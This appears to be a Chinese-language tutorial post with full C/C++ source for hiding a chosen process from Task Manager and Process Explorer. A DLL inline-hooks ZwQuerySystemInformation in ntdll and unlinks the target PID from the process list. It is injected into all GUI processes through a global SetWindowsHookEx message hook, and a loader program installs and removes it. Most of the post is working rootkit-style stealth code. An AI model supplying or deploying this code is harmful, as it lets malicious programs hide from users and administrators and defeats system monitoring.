描述
- 通过hook
ZwQuerySystemInformation
函数,改变其返回值结果,在task manager、procexp等进程管理器内隐藏目标进程
知识点
- dll注入:通过在prcexp等进程内注入dll,执行代码来修改ntdll中
ZwQuerySystemInformation
函数内容,实现inline hook
- inline hook:修改
ZwQuerySystemInformation
函数入口代码,写入jmp New_ZwQuerySystemInformation
指令,使其跳转至自定义的函数
- unhook:记录下
ZwQuerySystemInformation
函数的入口代码,便于hook后恢复
New_ZwQuerySystemInformation
函数:先Unhook,再调用原来的ZwQuerySystemInformation
函数,对返回结果进行修改,将目标进程的信息块脱链,实现隐藏
代码
#include "stdafx.h"
#include "HideProcess.h"
BYTE g_OldData32[5] = {0};
BYTE g_OldData64[12] = { 0 };
void HookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return;
}
// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
// jmp New_ZwQuerySystemInformation
// 机器码位:e9 _dwOffset(跳转偏移)
// addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
// addr2 --> 跳转地址的值,即_dwNewAddress的值
// 跳转偏移 _dwOffset = addr2 - addr1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
// 保存前 5 字节数据
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax,0x1122334455667788
// jmp rax
// 机器码是:
// 48 b8 8877665544332211
// ff e0
BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
// 保存前 12 字节数据
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 修改
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
void UnhookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return;
}
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32 位下还原前 5 字节, 64 位下还原前 12 字节
#ifndef _WIN64
// 还原
::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
#else
// 还原
::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
#endif
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
// 要隐藏的进程PID
DWORD dwHideProcessId = 4104;
// UNHOOK API
UnhookApi();
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return status;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return status;
}
// 调用原函数 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判断是否是要隐藏的进程PID
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
}
}
// HOOK API
HookApi();
return status;
}
dll注入代码
- 挂钩
WH_GETMESSAGE
消息,目的是进行全局注入,将dll注入procexp等进程
// HideProcess_ZwQuerySystemInformation_Test.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
extern HMODULE g_hModule;
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
// 消息全局钩子回调函数
LRESULT CALLBACK GetMsgProc(
int code, // hook code
WPARAM wParam, // removal option
LPARAM lParam // message
)
{
// 不进行任何操作,设置全局钩子的目的就是进行DLL注入而已,主要是主入口进行的API挂钩
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 设置全局钩子
HHOOK SetHook()
{
// 设置全局钩子
HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
if (NULL == hHook)
{
return NULL;
}
g_hHook = hHook;
return hHook;
}
// 卸载全局钩子
BOOL UnsetHook(HHOOK hHook)
{
if (FALSE == ::UnhookWindowsHookEx(hHook))
{
return FALSE;
}
return TRUE;
}
dllMain代码
- 加载dll时主动调用inline hook,篡改ntdll中的函数代码
- 卸载dll时主动调用unook,恢复ntdll中原来的函数代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "HideProcess.h"
HMODULE g_hModule ;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HookApi();
g_hModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
case DLL_PROCESS_DETACH:
{
UnhookApi();
break;
}
default:
break;
}
return TRUE;
}
测试程序代码
// Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
int _tmain(int argc, _TCHAR* argv[])
{
// 加载DLL并获取句柄
HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");
if (NULL == hDll)
{
printf("%s error[%d]\n", "LoadLibrary", ::GetLastError());
}
printf("Load Library OK.\n");
// 设置全局钩子
typedef HHOOK(*typedef_SetHook)();
typedef_SetHook SetHook = (typedef_SetHook)::GetProcAddress(hDll, "SetHook");
if (NULL == SetHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
}
HHOOK hHook = SetHook();
if (NULL == hHook)
{
printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError());
}
printf("Set Windows Hook OK.\n");
system("pause");
// 卸载全局钩子
typedef BOOL(*typedef_UnsetHook)(HHOOK);
typedef_UnsetHook UnsetHook = (typedef_UnsetHook)::GetProcAddress(hDll, "UnsetHook");
if (NULL == UnsetHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
}
if (FALSE == UnsetHook(hHook))
{
printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError());
}
printf("Unhook Windows Hook OK.\n");
// 卸载DLL
::FreeLibrary(hDll);
system("pause");
return 0;
}
结果
- 运行ExeText程序,打开procexp,可以看到进程信息
- 安装完钩子后,此时ExeText程序仍然正常运行,再看procexp,进程信息已消失